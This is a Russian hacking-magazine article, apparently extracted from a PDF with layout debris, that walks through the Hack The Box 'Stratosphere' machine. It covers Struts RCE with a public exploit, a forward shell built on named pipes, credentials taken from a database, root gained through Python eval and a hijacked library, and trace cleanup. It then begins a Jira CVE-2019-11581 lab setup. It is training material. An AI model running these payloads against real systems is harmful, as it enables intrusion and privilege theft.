Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
11.12 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

w Click

 

BUY

o m

ВЗЛОМ

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЛОМАЕМ STRUTS

ЧЕРЕЗ ACTION

ПРИЛОЖЕНИЕ И МАСТЕРИМ

FORWARD SHELL

snovvcrash

Безопасник, временами питонщик, местами криптоана(рхист)литик, по необходимости системный администратор. snovvcrash@protonmail.ch

В этой статье я покажу, как захватить стратосферу, а точ нее — получить рут на виртуалке Stratosphere с CTF площад ки Hack The Box. На этот раз мы повоюем с фреймворком Apache Struts для получения RCE уязвимости в веб при ложении, рассмотрим в действии редко обсуждаемую, но очень полезную концепцию получения удаленной сессии Forward Shell, а также поиграем с угоном библиотеки и экс плуатацией функции eval() для скрипта на Python.

HTB — Stratosphere

Несмотря на то что Stratosphere не слишком сложна (5,2 балла из 10), про хождение этой ВМ доставило мне немало удовольствия благодаря воз можности попрактиковаться с редко встречаемой техникой Forward Shell.

Помимо этого, вот с чем мы столкнемся на пути к флагу суперпользовате

ля:

разведка и сбор информации об используемом ПО для обнаружения фреймворка Apache Struts;

выявление слабых мест Struts для атаки на веб приложение, построенное на Java EE и Action;

поиск удобного способа взаимодействия с хостом в условиях беспощадно фильтруемого исходящего трафика HTTP;

обнаружение слабого пароля для базы данных MySQL и извлечение из нее

авторизационных данных пользователя для подключения к машине по SSH;

два способа эксплуатации уязвимого приложения на Python: абъюз фун кции eval() и «угон» импортируемого модуля.

РАЗВЕДКА

Приступим, пожалуй. Сначала заглядываем в открытые порты с помощью героя всех фильмов про хакеров — сканера Nmap.

root@kali:~# nmap n Pn sV sC oA nmap/stratosphere 10.10.10.64 root@kali:~# cat nmap/stratosphere.nmap

# Nmap 7.70 scan initiated Sat Aug 10 23:56:34 2019 as: nmap n v Pn sV sC oA nmap/initial 10.10.10.64

Nmap scan report for 10.10.10.64 Host is up (0.054s latency).

Not

shown: 997

filtered ports

 

PORT

 

STATE

SERVICE

VERSION

 

22/tcp

open

ssh

OpenSSH 7.4p1 Debian 10+deb9u2

(protocol 2.0)

| ssh hostkey:

 

 

 

|

2048

5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d

(RSA)

|256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)

|_ 256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519)

80/tcp

open http

 

| fingerprint strings:

 

| [ .......................................................

 

]

|

[ ............

[содержимое строки отпечатка] ............

]

|

[ .......................................................

 

]

|GetRequest:

| [

.......................................................

 

]

| [ ................ ................

 

[ответ на GET запрос]

]

| [ .......................................................

 

 

]

| http methods:

 

 

|

Supported Methods: GET HEAD POST PUT DELETE OPTIONS

 

|_ Potentially risky methods: PUT DELETE

 

|_http title: Stratosphere

 

8080/tcp open

http proxy

 

| fingerprint strings:

 

| [ .......................................................

 

 

]

| [ ............ ............

 

[содержимое строки отпечатка]

]

| [ .......................................................

 

 

]

|GetRequest:

| [

.......................................................

]

| [

................ [ответ на GET запрос] ................

]

| [

.......................................................

]

| http methods:

 

|

Supported Methods: GET HEAD POST PUT DELETE OPTIONS

 

|_ Potentially risky methods: PUT DELETE

 

|_http open proxy: Proxy might be redirecting requests

 

|_http title: Stratosphere

 

2 services unrecognized despite returning data. If you know the service/

version, please submit the following fingerprints at https://nmap.org/

cgi bin/submit.cgi?new service :

 

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)

 

==============

 

| [ .......................................................

]

| [ .... [отпечаток неопознанного сервиса на порте 80] .... ]

| [ .......................................................

]

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)

 

==============

 

| [ .......................................................

]

| [ ... [отпечаток неопознанного сервиса на порте 8080] ... ]

| [ .......................................................

]

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Sat Aug 10 23:56:59 2019 1 IP address (1 host up) scanned in 24.41 seconds

В этот раз Nmap разразился мощнейшим потоком информации, большую часть из которой я не стал включать в листинг, потому что она бесполезна для наших нужд: в основном это были строки — отпечатки неопознанных сер висов, которые сканер не смог идентифицировать и попросил сделать это за него. Также я не стал приводить содержимое ответов на GET запросы, которые Nmap решил отправить на веб — 80 й и 8080 й порты.

В остальном имеем классическую (пока) схему.

Secure Shell на 22 м порте, который так и не научился «не палить» версию ОС — с ходу мы видим, что имеем дело с виртуалкой, на которой раз вернут дистрибутив Debian версии 9 (Stretch), о чем свидетельствует ревизия deb пакета в баннере OpenSSH.

Неопознанные веб сервер на 80 м порте и прокси на 8080 м.

Свеба и начнем.

ВЕБ — ПОРТ 80

Посмотрим, нет ли в веб сервере уязвимостей, пригодных для исполь зования в качестве входной точки в машину.

Браузер

На http://10.10.10.64 тебя встретит цветастый градиент сайта

Stratosphere.

Главная страница Stratosphere

При переходе по ссылке GET STARTED NOW сервер выплюнет страницу с таким наполнением.

<! view source:http://10.10.10.64/GettingStarted.html >

<!DOCTYPE html>

<html>

<head>

<meta charset="utf 8"/>

<title>Stratosphere Getting Started</title>

</head>

<body>

<h1>Site under construction. Please check back later.</h1>

</body>

</html>

Говорят, что сайт пока только разрабатывается, поэтому пусто. Придержива ясь классической разведывательной тактики, следующим шагом сканируем серверы на словарные директории.

gobuster

Из всех инструментов для поиска дефолтных директорий мне больше других нравится gobuster. Этот многопоточный брутфорсер написан на Go, что поз воляет без лишних усилий закинуть бинарник в систему и сразу же запустить его. Gobuster поддерживается создателем в актуальном состоянии, серьезно обновляется с выходом новых версий, и, что немаловажно, он действительно быстрый.

Указав нужный хост через опцию u и словарь для перебора имен дирек торий (один из стандартных для Kali) через w, запустим перебор в рас ширенном режиме (опция e позволяет выводить найденные URL адреса в полном виде), сохраняя при этом вывод утилиты во внешний файл через o для отчетности.

root@kali:~# gobuster dir u 'http://10.10.10.64' w /usr/share/dir buster/wordlists/directory list 2.3 medium.txt e o gobuster/stratos phere.gobuster

===============================================================

Gobuster v3.0.1

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

===============================================================

[+]

Url:

http://10.10.10.64

[+]

Threads:

10

[+]Wordlist: /usr/share/dirbuster/wordlists/directory list 2.3 medium.txt

[+]Status codes: 200,204,301,302,307,401,403

[+]User Agent: gobuster/3.0.1

[+]Expanded: true

[+]Timeout: 10s

===============================================================

2019/08/11 00:44:24 Starting gobuster

===============================================================

http://10.10.10.64/manager (Status: 302) http://10.10.10.64/Monitoring (Status: 302) Progress: 13738 / 220561 (6.23%)^C

[!]Keyboard interrupt detected, terminating.

===============================================================

2019/08/11 00:45:39 Finished

===============================================================

Обнаружив два любопытных адреса, я остановил перебор (больше ничего не найдется, поверь на слово) и пошел проверять то, что предложил мне gobuster.

Другие известные инструменты для брута дирек торий:

dirb — минималистичный брутер, написанный на С. Не отличается высокой скоростью работы;

dirbuster — популярный когда то брутер с гра фическим интерфейсом. Сейчас в OWASP прекратили развитие этого проекта.

/manager

Перейдя по адресу http://10.10.10.64/manager, видим стандартный сер вер менеджер Apache Tomcat. Доступа к нему у нас, конечно же, нет.

Сервер менеджер Apache Tomcat

/Monitoring

На http://10.10.10.64/Monitoring — кое что гораздо интереснее.

Action приложение Apache Struts

От кнопок SIGN ON и REGISTER толку мало — обе они ведут к сообщению о том, что сайт все еще на стадии разработки.

«Сайт еще разрабатывается»

APACHE STRUTS

Главная зацепка — это Action приложение, представленное на веб странице скриншотом ранее, которое часто связано с фреймворком Struts.

Struts предназначен для создания веб приложений, базирующихся на тех нологии Java EE — наборе правил и спецификаций для Java, который опи сывает архитектуру серверной платформы для построения приложений.

Простыми словами, Struts — это реализация концепции «модель — пред ставление — контроллер» (Model — View — Controller, MVC), созданная в Apache Software Foundation. Action здесь представляет собой запрос кли ента, обрабатываемый контроллером (сервлетом ActionServlet) на сервере. Круговорот трафика в мире Apache Struts изображен на картинке ниже.

Взаимодействие «клиент — сервер» для Apache Struts (источник —

NetBeans)

«Это, конечно, здорово, но что все это может дать для нашей задачи проник новения в систему?» — вопросишь ты. Не так давно в механизме взаимодей ствия, описанном выше, была обнаружена уязвимость, позволяющая выпол нить произвольный код на удаленном хосте, рейтинг опасности которой был оценен в максимальные 10.0 по нотации CVSSv2.

В «Хакере» публиковался разбор упомянутой уяз вимости с видео, а также анализ двух более новых проблем со Struts 2: дыры в модуле, отве чающем за REST API, и ошибки, позволяющей внедрять свой namespace с помощью манипу ляций запросами HTTP (CVE 2018 11776).

Это, конечно, не HeartBleed с его 11/10, но все равно совсем не плохо. Пос мотрим, что на этот счет скажет searchsploit. Так как после раскрытия уяз вимости прошло два года, готов поспорить, что на просторах exploit db есть красивый эксплоит.

Ищем PoC с помощью searchsploit

Похоже, exploits/linux/webapps/41570.py — именно то, что нам нужно.

Этот скрипт на Python представляет собой PoC, который демонстрирует выполнение уязвимости CVE 2017 5638. Из за некорректной обработки исключений при процессинге специально сформированного evil значения для заголовка Content Type нарушителю даруется RCE. Попробуем эксплоит в действии.

root@kali:~# searchsploit m exploits/multiple/webapps/42324.py root@kali:~# python 42324.py http://10.10.10.64/Monitoring/example/Wel come.action id

[*]CVE: 2017 5638 Apache Struts2 S2 045

[*]cmd: id

uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)

Итак, у нас есть способ удаленного выполнения команд на сервере. Забегая вперед, должен сказать, что повысить привилегии до пользователя в этой виртуалке можно, просто выполняя команды таким способом, без полноцен ного реверс шелла (как мы делали, когда захватывали Mischief, к примеру), который, как выяснилось, невозможно получить из за жесткой фильтрации исходящего трафика HTTP. Однако мы не ищем легких путей, к тому же это отличная возможность попробовать в действии один из способов получе ния удаленной сессии на уязвимом хосте — Forward Shell.

Forward Shell

Основная идея такого способа получения командной строки заключается в создании на машине жертвы именованного канала (назовем его stdin)

с помощью mkfifo и выходного файла (назовем его stdout), куда будет записываться вывод команд. После чего к stdin с помощью утилиты tail привязывается процесс /bin/sh, вывод которого перенаправляется в stdout. Флаг f утилиты tail обеспечивает сохранение процесса выпол нения команд даже при достижении конца файла входного канала (когда команды не поступают).

Для более наглядного представления продемонстрирую то, что я собира юсь сделать на локальной машине.

Именованные каналы на локальной машине

1.В верхней панели я создаю именованный пайп stdin, привязываю его вход к шеллу /bin/sh, а выход перенаправляю в файл stdout.

2.В нижней панели записываю команды в stdin и читаю результат выпол нения из stdout, очищая после каждого прочтения выходной файл (чтобы получать вывод только последней инструкции).

Из интересных фишек, которые хочется прокомментировать: такая схема вза имодействия с терминальной сессией позволяет запоминать текущую рабочую директорию и выполнять команды от имени других процессов PTY (я продемонстрировал пример с Python).

В конечном итоге эта концепция обрела свое место в крошечном самопальном наступательном фреймворке FwdSh3ll, который делает пример но то же самое, что я показал, но автоматизированно и на удаленной машине, оборачивая запрошенные пользователем команды в Base64 для передачи по сети. Плюс в фоне поднимается параллельный поток, который опрашивает stdout с каким то интервалом и возвращает его содержимое — результат выполнения последней команды.

Хотел бы сказать, что положу фреймворк на диск, идущий в комплекте с журналом, но «Новое время — новые веяния»… В общем, можешь перейти по ссылке и скачать его самостоятельно.

Запись терминальной сессии работы фреймворка

FwdSh3ll на примере виртуалки Stratosphere

В чем принципиальные отличия от широко известных схем Reverse Shell и Bind Shell? В том, что атакуемый хост никуда не отправляет вывод выпол ненных инструкций. Для него все происходит прозрачно: если все выполняет ся локально (и выполнение команды, и чтение результата), тогда незачем бить тревогу и жаловаться всяким iptables. Но, конечно, для успешной реали зации этого необходимо под рукой иметь способ выполнения кода на удален ной машине, на чем все, собственно, и держится.

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

-x

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ЛОМАЕМ STRUTS ЧЕРЕЗ ACTION

ПРИЛОЖЕНИЕ И МАСТЕРИМ FORWARD SHELL

Осматриваемся на хосте

Так или иначе, получив возможность выполнять команды на машине жертве, осмотримся, где мы оказались. Для начала узнаем, кто мы и когда было ском пилировано ядро.

stratosphere> whoami tomcat8

stratosphere> id

uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)

stratosphere> uname a

Linux stratosphere 4.9.0 6 amd64 #1 SMP Debian 4.9.82 1+deb9u2 (2018 02 21) x86_64 GNU/Linux

Как и ожидалось, команды выполняются от имени tomcat8 — пользователя с низкими привилегиями, который крутит веб сервер.

Ядро версии 4.9.0 6, поэтому эскалация привилегий при помощи DirtyCow не вариант. Посмотрим на файловую систему.

stratosphere>

ls la

 

 

 

 

total 24

 

 

 

 

 

 

drwxr xr x

5

root

root

4096 Aug 11 08:15 .

drwxr xr x 42

root

root

4096 Oct

3

2017 ..

lrwxrwxrwx

1

root

root

12 Sep

3

2017 conf > /etc/tomcat8

rw r r

1

root

root

68 Oct

2

2017 db_connect

drwxr xr x

2

tomcat8

tomcat8 4096 Sep

3

2017 lib

lrwxrwxrwx

1

root

root

17 Sep

3

2017 logs > ../../log/tom

cat8

 

 

 

 

 

 

drwxr xr x

2

root

root

4096 Aug 11 08:15 policy

drwxrwxr x

4

tomcat8

tomcat8 4096 Feb 10

2018 webapps

lrwxrwxrwx

1

root

root

19 Sep

3

2017 work > ../../cache/tom

cat8

 

 

 

 

 

 

stratosphere>

file *

 

 

 

 

conf:

symbolic link to /etc/tomcat8

 

db_connect:

ASCII text

 

 

 

 

lib:

directory

 

 

 

 

logs:

symbolic link to ../../log/tomcat8

policy:

directory

 

 

 

 

webapps:

directory

 

 

 

 

work:

symbolic link to ../../cache/tomcat8

Далеко не отходя, нашли текстовый файл db_connect с авторизационными данными для подключения к базе данных. Похоже, что это наша следующая контрольная точка.

stratosphere> cat db_connect [ssn]

user=ssn_admin pass=AWs64@on*&

[users]

user=admin

pass=admin

PrivEsc: tomcat8 → richard

Взглянем, что хранит база данных MySQL. Сразу скажу, что первый набор кредов ssn_admin:AWs64@on*& — это «кроличья нора» для отвлечения вни мания, под этой учеткой в базе данных пусто. Поэтому будем использовать второй набор.

stratosphere> mysql u admin p"admin"

Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 8

Server version: 10.1.26 MariaDB 0+deb9u1 Debian 9.1

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

Подключившись от имени админа, запросим таблицы.

MariaDB [(none)]> show databases;

+ +

| Database

|

+ +

| information_schema |

| users

|

+ +

2 rows in set (0.00 sec)

MariaDB

[(none)]> use

users;

 

Reading

table information for

completion of table and column names

You can

turn off this

feature

to get a quicker startup with A

Database changed

 

MariaDB [users]> show tables;

+ +

| Tables_in_users |

+ +

| accounts

|

+ +

1 row in set (0.00 sec)

MariaDB [users]> select * from accounts; + + + + | fullName | password | username | + + + + | Richard F. Smith | 9tc*rhKuG5TyXvUJOrE^5CK7k | richard | + + + + 1 row in set (0.00 sec)

В базе users нашли табличку accounts с драгоценным содержимым. Выд вину уникальное предположение, что это авторизационные данные поль зователя richard (и не прогадаю!).

SSH — ПОРТ 22

Подключимся к машине по SSH. Для удобства передаем пароль как аргумент командной строки с помощью sshpass и пропускаем проверку сертификата — учебная все же машина.

Внутри машины по SSH

user.txt

Заберем флаг пользователя.

richard@stratosphere:~$ cat /home/richard/user.txt e610b298????????????????????????

И сразу же посмотрим на уже привлекший наше внимание скрипт test.py.

#!/usr/bin/python3

import hashlib

def question():

q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")

md5 = hashlib.md5()

md5.update(q1.encode())

if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":

print("Sorry, that's not right")

return

print("You got it!")

q2 = input("Now what's this one? d24f6fb449855ff42344feff

18ee2819033529ff\n")

sha1 = hashlib.sha1()

sha1.update(q2.encode())

if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee28190

33529ff':

print("Nope, that one didn't work...")

return

print("WOW, you're really good at this!")

q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n")

md4 = hashlib.new('md4')

md4.update(q3.encode())

if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9':

print("Yeah, I don't think that's right.")

return

print("OK, OK! I get it. You know how to crack hashes...")

q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd

1660f5f2850883615d444ceecf50896aae083 ead798d13584f52df0179df0

200a3e1a122aa738beff263b49d2443738eba41c943\n")

blake = hashlib.new('BLAKE2b512')

blake.update(q4.encode())

if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f28

50883615d444ceecf50896aae083 ead798d13584f52df0179df0200a3e1a1

22aa738beff263b49d2443738eba41c943':

print("You were so close! urg... sorry rules are rules.")

return

import os

os.system('/root/success.py')

return

question()

Нас просят разреверсить несколько хешей, обещая при этом манну небес ную в виде выполнения файла /root/success.py. Чувствуя здесь подвох, я начал искать иной способ эксплуатации скрипта.

PrivEsc: richard → root. Способ 1

Первое, что бросается в глаза, — шебанг привязан к python3. К тому же, если сорвать покровы с символической ссылки, указывающей на стандартный интерпретатор, видно, что команда python тоже указывает на бинарник третьей версии.

richard@stratosphere:~$ ls l /usr/bin/python

lrwxrwxrwx 1 root root 16 Feb 11 2018 /usr/bin/python > /usr/bin/ python3

Уже второй раз нам активно внушают идею запустить скрипт именно с помощью этой версии Python. Не совсем обычно, не правда ли? Памятуя о том, кто владелец файла, посмотрим на вывод sudo l.

richard@stratosphere:~$ sudo l

Matching Defaults entries for richard on stratosphere:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/ usr/sbin\:/usr/bin\:/sbin\:/bin

User richard may run the following commands on stratosphere: (ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py

Оказывается, что все пользователи могут выполнять test.py с помощью /usr/bin/python* с повышенными привилегиями. Все бы ничего, вот только значок «звездочка» полностью развязывает руки всем недоброжелателям, которые добрались до этого этапа. Известно, что в Python 2 функция input()

эквивалентна конструкции вида eval(raw_input()). Поэтому запуск test.py с помощью /usr/bin/python2 через sudo позволит пользователю выполнять команды от имени root, чем мы, собственно, и займемся.

Смотрим, какие «питоны» доступны в системе.

richard@stratosphere:~$ ls l /usr/bin/python*

lrwxrwxrwx 1 root root

16

Feb 11

2018

/usr/bin/python > /usr/bin/

python3

 

 

 

 

lrwxrwxrwx 1 root root

9

Jan 24

2017

/usr/bin/python2 > python2.

7

 

 

 

 

rwxr xr x 1 root root 3779512 Nov 24

2017

/usr/bin/python2.7

lrwxrwxrwx 1 root root

9

Jan 20

2017

/usr/bin/python3 > python3.

5

 

 

 

 

rwxr xr x 2 root root 4747120 Jan 19

2017

/usr/bin/python3.5

rwxr xr x 2 root root 4747120 Jan 19

2017

/usr/bin/python3.5m

lrwxrwxrwx 1 root root

10

Jan 20

2017

/usr/bin/python3m >

python3.5m

 

 

 

 

А теперь просто вызовем /home/richard/test.py с помощью Python 2 и подадим функции eval() (которая, по сути, и будет принимать наш ввод) /bin/bash для получения сессии суперпользователя. Для этого я сперва импортирую модуль os с помощью глобальной функции импорта __im port__(), а затем вызову функцию system() через оператор «точка». Этот трюк пройдет, потому что функция импорта как раз вернет ссылку на объект указанного модуля os.

richard@stratosphere:~$ sudo /usr/bin/python2 ~/test.py Solve: 5af003e100c80923ec04d65933d382cb __import__('os').system('/bin/bash')

root@stratosphere:/home/richard# whoami root

root@stratosphere:/home/richard# id uid=0(root) gid=0(root) groups=0(root)

root.txt

root@stratosphere:/home/richard# cat /root/root.txt d41d8cd9????????????????????????

Кстати, уже сейчас можно разоблачить негодяев, удостоверившись в том, что обещанного /root/success.py не существует:

root@stratosphere:/home/richard# ls /root/success.py

ls: cannot access '/root/success.py': No such file or directory

Но в эпилоге мы все же сломаем пару хешей. Так, разминки ради.

PrivEsc: richard → root. Способ 2

В начале исходника нельзя не заметить импорт библиотеки hashlib для вычисления хеш значений вводимых строк. Угоним эту библиотеку? Для этого нам необходимо узнать порядок резолва путей, по которым будут импортироваться модули. Сделать это можно прямо из Python.

richard@stratosphere:~$ python c 'import sys; print(sys.path)'

['', '/usr/lib/python35.zip', '/usr/lib/python3.5', '/usr/lib/python3.5/ plat x86_64 linux gnu', '/usr/lib/python3.5/lib dynload', '/usr/local/ lib/python3.5/dist packages', '/usr/lib/python3/dist packages']

Пустые кавычки в начале означают текущий рабочий каталог (CWD). То, что надо! Создадим фейковую библиотеку hashlib.py с нужным нам пейлоадом (можно построить реверс шелл или получить root сессию так же, как и в пер вом способе, но для простоты я ограничусь просто выводом флага на экран — идея ясна).

richard@stratosphere:~$

echo

'import os;

os.system("cat

/root/root.txt")' > hashlib.py

 

 

 

 

richard@stratosphere:~$

ls l *.py

 

 

 

 

rw r r

1

richard

richard

43

Aug

11

12:45

hashlib.py

rwxr x

1

root

richard

1507

Mar

19

2018

test.py

 

 

 

 

 

 

 

 

 

 

И со спокойной совестью запустим скрипт:

richard@stratosphere:~$ sudo /usr/bin/python ~/test.py d41d8cd9????????????????????????

Solve: 5af003e100c80923ec04d65933d382cb

C

Чистим следы пребывания в системе, и на этом все с этой виртуалкой.

richard@stratosphere:~$ rm hashlib.py richard@stratosphere:~$ rm /dev/shm/input* /dev/shm/output*

ЭПИЛОГ: БРУТИМ ХЕШИ

Шутки ради попрошу своего друга Джона решить предлагаемые тестом хеши.

John the Ripper реверсит хеши

Скормим их /home/richard/test.py.

richard@stratosphere:~$ sudo /usr/bin/python ~/test.py Solve: 5af003e100c80923ec04d65933d382cb

kaybboo! You got it!

Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff ninjaabisshinobi

WOW, you're really good at this!

How about this? 91ae5fc9ecbca9d346225063f23d2bd9 legend72

OK, OK! I get it. You know how to crack hashes...

Last one, I promise: 9e febee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083 ead 798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943 Fhero6610

sh: 1: /root/success.py: not found

Что и требовалось доказать. Мораль — не верь на слово подлым Python тес там.

Трофей

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

КАК ИСПОЛЬЗОВАТЬ НОВУЮ УЯЗВИМОСТЬ В JIRA

aLLy

ONsec @iamsecurity

Jira — мегапопулярная система для отслеживания ошибок, организации взаимодействия с пользователями и управле ния проектами. Уязвимость позволяет атакующему выпол нить произвольный код на целевой системе при помощи обычного POST запроса, не обладая при этом никакими привилегиями. Давай посмотрим на причины этого бага и методы его эксплуатации.

Баг обнаружил исследователь Даниил Дмитриев. Уязвимость получила статус критической и клас сифицируется как CVE 2019 11581 — «Инъекция в серверные шаблоны в Jira на страницах обратной связи с администратором и массовой рассылки». Уязвимы версии с 4.4.0 до 7.6.14,

с 7.7.0 до 7.13.5, с 8.0.0 до 8.0.3,

с 8.1.0 до 8.1.2, а также начиная с 8.2.0 и закан чивая 8.2.3.

СТЕНД

Воспроизвести необходимые для эксплуатации условия можно разными методами. Я покажу два из них.

Метод 1: Docker

Самый легкий способ — взять готовые контейнеры Docker из репозитория Vulhub. В файле ниже объявляются две машины: сама Jira и почтовый сервер.

CVE-2019-11581/docker-compose.yml

version: "2"

services:

jira:

image: vulhub/jira:8.1.0

ports:

"8080:8080"

links:

smtpd

smtpd:

build: context: .

dockerfile: smtpd.Dockerfile

Машина с сервером имеет имя smtpd, где в качестве демона SMTP выступает стандартный модуль Python smtpd. Этой простейшей реализации достаточно,

чтобы продемонстрировать уязвимость. На деле почтовый сервер может быть абсолютно любым.

CVE-2019-11581/smtpd.Dockerfile

FROM python:3.6 alpine3.9

COPY smtpd_server.py /smtpd_server.py

CMD ["python", "/smtpd_server.py"]

EXPOSE 1025

CVE-2019-11581/smtpd_server.py

import smtpd

class CustomSMTPServer(smtpd.SMTPServer):

def process_message(self, peer, mailfrom, rcpttos, data, **kwargs):

r = data.decode("utf 8").split("\n")

for l in r:

if l.startswith("Subject:"):

sys.stdout.write("[{0}] {1}\n".format(time.time(),l))

sys.stdout.flush()

return

server = CustomSMTPServer(('0.0.0.0', 1025), None)

sys.stdout.write("[+] Start SMTPServer on 0.0.0.0:1025\n")

В скрипте используется кастомный обработчик входящих сообщений для того, чтобы логировать в консоль заголовок Subject. В нем будет содер жаться пейлоад.

Привести все это дело в рабочий вид можно одной командой:

docker compose up d

После этого на порте 8080 будет запущен экземпляр системы Jira. Нужно пройти несложный процесс установки, на одном этапе которого придется получить триальный ключ. Когда установка будет завершена, понадобится еще несколько действий, чтобы можно было воспроизвести уязвимость.

Сначала настроим Jira для работы с сервером SMTP. Для этого от имени администратора переходим в раздел «Система → Исходящая почта» (System → Outgoing Mail) и нажимаем кнопку «Добавить SMTP почтовый сервер» (Add SMTP Mail Server). В появившейся форме указываем необходимые данные.

Настройка подключения к серверу SMTP в Jira

Затем нужно включить форму обратной связи. Эта настройка находится в разделе «Основные настройки» (General configuration), кнопка «Редак тировать настройки» (Edit Settings).

Страница основных настроек Jira

Нужно включить опцию «Форма связи с администраторами» (Contact Adminis trators Form).

Включаем опцию «Форма обратной связи» в настройках Jira

Окружение готово.

Метод 2: ручная установка

Для тестов готовых контейнеров будет достаточно, но если хочешь глубже погрузиться в происходящее, то дальше я расскажу про второй вариант стен да.

Его я буду использовать для отладки, чтобы показать эксплуатацию изнутри. Все манипуляции будут производиться на компьютере с Windows. Сначала нужно скачать Atlassian SDK и установить его.

Потом при помощи этого SDK генерируем шаблон плагина.

atlas create jira plugin

Генерация шаблона плагина для Jira с помощью Atlassian SDK

После этого будет создана директория с именем, которое было указано в artifactId. Я буду выполнять отладку в IntelliJ IDEA, поэтому открою папку

